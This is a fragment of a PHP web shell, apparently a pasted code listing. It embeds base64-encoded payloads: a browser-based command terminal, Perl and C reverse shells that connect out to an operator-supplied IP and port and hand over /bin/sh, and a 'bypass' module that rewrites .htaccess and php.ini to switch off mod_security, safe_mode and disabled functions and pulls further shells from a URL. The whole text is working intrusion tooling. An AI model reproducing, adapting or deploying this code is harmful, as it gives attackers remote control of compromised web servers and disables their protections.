Ly8nKSAhPT0gZmFsc2UpCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7CndoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQokbmV3X2RpciA9IHByZWdfcmVwbGFjZSgnfC8/W14vXSsvXC5cLig/IVwuKXwnLCAnJywgJG5ld19kaXIpOwoKaWYoZW1wdHkoJG5ld19kaXIpKTogJG5ld19kaXIgPSAiLyI7IGVuZGlmOwoKKEBjaGRpcigkbmV3X2RpcikpID8gJF9TRVNTSU9OWydjd2QnXSA9ICRuZXdfZGlyIDogJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAiY291bGQgbm90IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7Cn0KZWxzZQp7Ci8qIFRoZSBjb21tYW5kIGlzIG5vdCBhICdjZCcgY29tbWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcgoqIGNoYW5naW5nIHRoZSBkaXJlY3RvcnkgYW5kIHNhdmUgdGhlIG91dHB1dC4gKi8KY2hkaXIoJF9TRVNTSU9OWydjd2QnXSk7CgovKiBBbGlhcyBleHBhbnNpb24uICovCiRsZW5ndGggPSBzdHJjc3BuKCRfUkVRVUVTVFsnY29tbWFuZCddLCAiIFx0Iik7CiR0b2tlbiA9IHN1YnN0cihAJF9SRVFVRVNUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOwppZiAoaXNzZXQoJGFsaWFzZXNbJHRva2VuXSkpCiRfUkVRVUVTVFsnY29tbWFuZCddID0gJGFsaWFzZXNbJHRva2VuXSAuIHN1YnN0cigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJGxlbmd0aCk7CgokcCA9IHByb2Nfb3BlbihAJF9SRVFVRVNUWydjb21tYW5kJ10sCmFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLAoyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksCiRpbyk7CgovKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8Kd2hpbGUgKCFmZW9mKCRpb1sxXSkpIHsKJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksRU5UX0NPTVBBVCwgJ1VURi04Jyk7Cn0KLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovCndoaWxlICghZmVvZigkaW9bMl0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9CgpmY2xvc2UoJGlvWzFdKTsKZmNsb3NlKCRpb1syXSk7CnByb2NfY2xvc2UoJHApOwp9Cn0KfSAvLyBlbmQgcGhwdGhpZW5sZQoKLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIwojIyBUaGUgbWFpbiB0aGluZyBzdGFydHMgaGVyZQojIyBBbGwgb3V0cHV0IGlzdCBYSFRNTAojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKQHNlc3Npb25fc3RhcnQoKTsKJHRlcm1pbmFsLT5pbml0VmFycygpOwokdGVybWluYWwtPmJ1aWxkQ29tbWFuZEhpc3RvcnkoKTsKJHRlcm1pbmFsLT5idWlsZEphdmFIaXN0b3J5KCk7CmlmKCFpc3NldCgkX1NFU1NJT05bJ3Byb21wdCddKSk6ICR0ZXJtaW5hbC0+Zm9ybWF0UHJvbXB0KCk7IGVuZGlmOwokdGVybWluYWwtPm91dHB1dEhhbmRsZSgkYWxpYXNlcyk7CgpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+JyAuICJcbiI7Ci8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgc2FmZSBtb2RlIGluY3JlYXNlCiMjIGJsb3F1ZSBmb25jdGlvbgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CmZ1bmN0aW9uIGtleShlKSB7CmlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7CmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cn0KZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IDgwMHB4OyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
  1217. $file = fopen("command.php" ,"w+");
  1218. $write = fwrite ($file ,base64_decode($perltoolss));
  1219. fclose($file);
  1220.    echo "<iframe src=command.php width=100% height=720px frameborder=0></iframe> ";
  1221. }//end new command window via NC
  1222. elseif ($action == 'backconnect') { !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; !$yourport && $yourport = '7777'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($start && $yourip && $yourport && $use){ if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); } m("Now script try connect to $yourip port $yourport ..."); } formhead(array('title'=>'Back Connect')); makehide('action','backconnect'); p('
  1223. '); p('Your IP:'); makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Your Port:'); makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Use:'); makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); p('
  1224. '); formfoot(); }//end backconnect
  1225. //end leech
  1226. //end leech window via NC
  1227. elseif ($action == 'bypass') {
  1228. $file = fopen($dir."bypass.php" ,"w+");
  1229. $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnkgUGFzcyA6OiBWSEIgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAoka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKCiRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGE/P2xhbWFkPyEiKTsKJG1ldGluID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYKICAgIFNlY0ZpbHRlclNjYW5QT1NUIE9mZgo8L0lmTW9kdWxlPiI7CQpmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CmZjbG9zZSAoJGRvc3lhKTsgCgoka29rZG9zeWEgPSAicGhwLmluaSI7CgokZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhPz9sYW1hZD8hIik7CiRtZXRpbiA9ICJzYWZlX21vZGUgICAgICAgICAgPSAgICAgICBPRkYKZGlzYWJsZV9mdW5jdGlvbnMgICAgICAgPSAgICAgICAgICAgIE5PTkUiOwkKZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwpmY2xvc2UgKCRkb3N5YSk7CgojIFBIUCBWYXJpYWJsZXMgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OiBQSFAgVmFyaWFibGVzICMKRlVOQ1RJT04gQ29weVNoZWxsZXIoJERJUikgewokU2hlbGxlciA9IFJuZE5hbWUoKTsKJFNIX1RYVCA9IChAJF9QT1NUWydzaGVsbGVyVVJMJ10pOwokZmlsZTIzID0gKEBmaWxlX2dldF9jb250ZW50cygiJFNIX1RYVCIpKTsKaWYgKCEkZmlsZTIzKSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgT3BlbiBUaGUgU2hlbGxlciBGaWxlIC48L2ZvbnQ+PGJyPiI7Cn0KZWxzZSB7CiRmcDIzID0gQGZvcGVuKCIkRElSLyRTaGVsbGVyLnBocCIsJ3crJyk7CiRmdzIzID0gQGZ3cml0ZSgkZnAyMywkZmlsZTIzKTsKaWYgKCRmdzIzKSB7CmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPlsrXSBVcGxvYWRlZCBTdWNjZXNzZnVsIDogJERJUi8kU2hlbGxlci5waHA8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAyMyk7CiB9Cn0KZnVuY3Rpb24gaXNfd2luZG93cygpIHsgcmV0dXJuIHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsgfQokc2VydmVyPSRIVFRQX1NFUlZFUl9WQVJTWydTRVJWRVJfU09GVFdBUkUnXTsKJHNhZmVfbW9kZT1pbmlfZ2V0KCdzYWZlX21vZGUnKTsKJG15c3FsX3N0YXQ9ZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7CiRjdXJsX29uPWZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7CiRkaXNfZnVuYz1pbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpmdW5jdGlvbiBzeXNpbmZvKCkKewogZ2xvYmFsICRjdXJsX29uLCAkZGlzX2Z1bmMsICRteXNxbF9zdGF0LCAkc2FmZV9tb2RlLCAkc2VydmVyLCAkSFRUUF9TRVJWRVJfVkFSUzsKIGVjaG8gKCgkc2FmZV9tb2RlKT8oIlNhZmUgTW9kZTogPC9iPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjxiPiAiKToKICAgICAgICAgKCI8Qj5TYWZlIE1vZGU6IDwvYj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjxiPiAiKSk7CiAkcm93X2Rpc19mdW5jPWV4cGxvZGUoJywgJywkZGlzX2Z1bmMpOwogZWNobyAoIlBIUDogPC9iPjxmb250IGNvbG9yPWJsdWU+Ii5waHB2ZXJzaW9uKCkuIjwvZm9udD48Yj4gIik7CiBlY2hvICgiTXlTUUw6IDwvYj4iKTsKIGlmKCRteXNxbF9zdGF0KXsKICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTiA8L2ZvbnQ+PGI+IjsKIH0KIGVsc2UgewogIGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkYgPC9mb250PjxiPiI7CiB9CiBlY2hvICJjVVJMOiA8L2I+IjsKIGlmKCRjdXJsX29uKXsKICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48Yj48YnI+IjsKIH1lbHNlCiAgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48Yj48YnI+IjsKIGlmICgkZGlzX2Z1bmMhPSIiKXsKICBlY2hvICJEaXNhYmxlZCBGdW5jdGlvbnMgOiA8L2I+PGZvbnQgY29sb3I9cmVkPiIuJGRpc19mdW5jLiI8L2ZvbnQ+PGJyPjxiPiI7CiB9CiBlbHNlIHsKICBlY2hvICJEaXNhYmxlZCBGdW5jdGlvbnMgOiA8L2I+PGZvbnQgY29sb3I9Z3JlZW4+Tm9uZTwvZm9udD48YnI+PGI+IjsKIH0KICR1bmFtZSA9IEBleGVjKCd1bmFtZSAtYScpOwogZWNobyAiT1M6IDwvYj48Zm9udCBjb2xvcj1ibHVlPiI7CiBpZiAoZW1wdHkoJHVuYW1lKSl7CiAgZWNobyAocGhwX3VuYW1lKCkuIjwvZm9udD48YnI+PGI+Iik7CiB9ZWxzZQogIGVjaG8gJHVuYW1lLiI8L2ZvbnQ+PGJyPjxiPiI7CiAkaWQgPSBAZXhlYygnaWQnKTsKIGVjaG8gIlNFUlZFUjogPC9iPjxmb250IGNvbG9yPWJsdWU+Ii4kc2VydmVyLiI8L2ZvbnQ+PGJyPjxiPiI7CiBlY2hvICJJRDogPC9iPjxmb250IGNvbG9yPWJsdWU+IjsKIGlmICghZW1wdHkoJGlkKSl7CiAgZWNobyAkaWQuIjwvZm9udD48YnI+PGI+IjsKIH1lbHNlCiAgZWNobyAidXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLgogICAgICAgIjwvZm9udD48YnI+PGI+IjsKIGVjaG8gIjxiPlJlbW90ZUFkZHJlc3M6IDwvYj48Zm9udCBjb2xvcj1yZWQ+Ii4kSFRUUF9TRVJWRVJfVkFSU1snUkVNT1RFX0FERFInXS4iPC9mb250PiAsIDxiPlNlcnZlcjogPC9iPjxmb250IGNvbG9yPXJlZD4iLkBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvZm9udD4iOwogaWYoaXNzZXQoJEhUVFBfU0VSVkVSX1ZBUlNbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKXsKICBlY2hvICI8Yj5SZW1vdGVBZGRyZXNzSWZQcm94eTogPC9iPjxmb250IGNvbG9yPXJlZD4iLiRIVFRQX1NFUlZFUl9WQVJTWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLiI8L2ZvbnQ+IjsKIH0KIGVjaG8gIjwvZm9udD48L2ZvbnQ+IjsKfQpmdW5jdGlvbiBSbmROYW1lKCkgewokY29kZWxlbmdodCA9IDEwOwp3aGlsZShAJG5ld2NvZGVfbGVuZ3RoIDwgJGNvZGVsZW5naHQpIHsKJHg9MTsKJHk9MzsKJHBhcnQgPSByYW5kKCR4LCR5KTsKaWYoJHBhcnQ9PTEpeyRhPTQ4OyRiPTU3O30KaWYoJHBhcnQ9PTIpeyRhPTY1OyRiPTkwO30KaWYoJHBhcnQ9PTMpeyRhPTk3OyRiPTEyMjt9CiRjb2RlX3BhcnQ9Y2hyKHJhbmQoJGEsJGIpKTsKKEAkbmV3Y29kZV9sZW5ndGggPSAkbmV3Y29kZV9sZW5ndGggKyAxKTsKKEAkbmV3Y29kZSA9ICRuZXdjb2RlLiRjb2RlX3BhcnQpOwp9CnJldHVybiAkbmV3Y29kZTsKfQojIFBIUCBWYXJpYWJsZXMgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OiBQSFAgVmFyaWFibGVzICMKZWNobyAiPENFTlRFUj4KICA8dGFibGUgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItY29sb3I6ICNDMEMwQzA7IHBhZGRpbmctbGVmdDogNDsgcGFkZGluZy1yaWdodDogNDsgcGFkZGluZy10b3A6IDE7IHBhZGRpbmctYm90dG9tOiAxJyBib3JkZXJjb2xvcj0nIzExMTExMScgd2lkdGg9Jzg2JScgYmdjb2xvcj0nI0UwRTBFMCc+CiAgICA8dHI+CiAgICAgIDx0ZCBiZ2NvbG9yPScjQUEwMDAwJyBjbGFzcz0ndGQnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+OiBmb3JiaWRkZW4gYWxsIGJ5cGFzcyBzaGVsbCA6IDwvZGl2PjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgc3R5bGU9J3BhZGRpbmc6NXB4IDVweCA1cHggNXB4ICc+IjsKCSAgZWNobyBzeXNpbmZvKCk7CmVjaG8gIgkgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgYmdjb2xvcj0nI0FBMDAwMCcgY2xhc3M9J3RkJyBzdHlsZT0ncGFkZGluZzowcHggMHB4IDBweCA1cHgnPjxkaXYgYWxpZ249J2NlbnR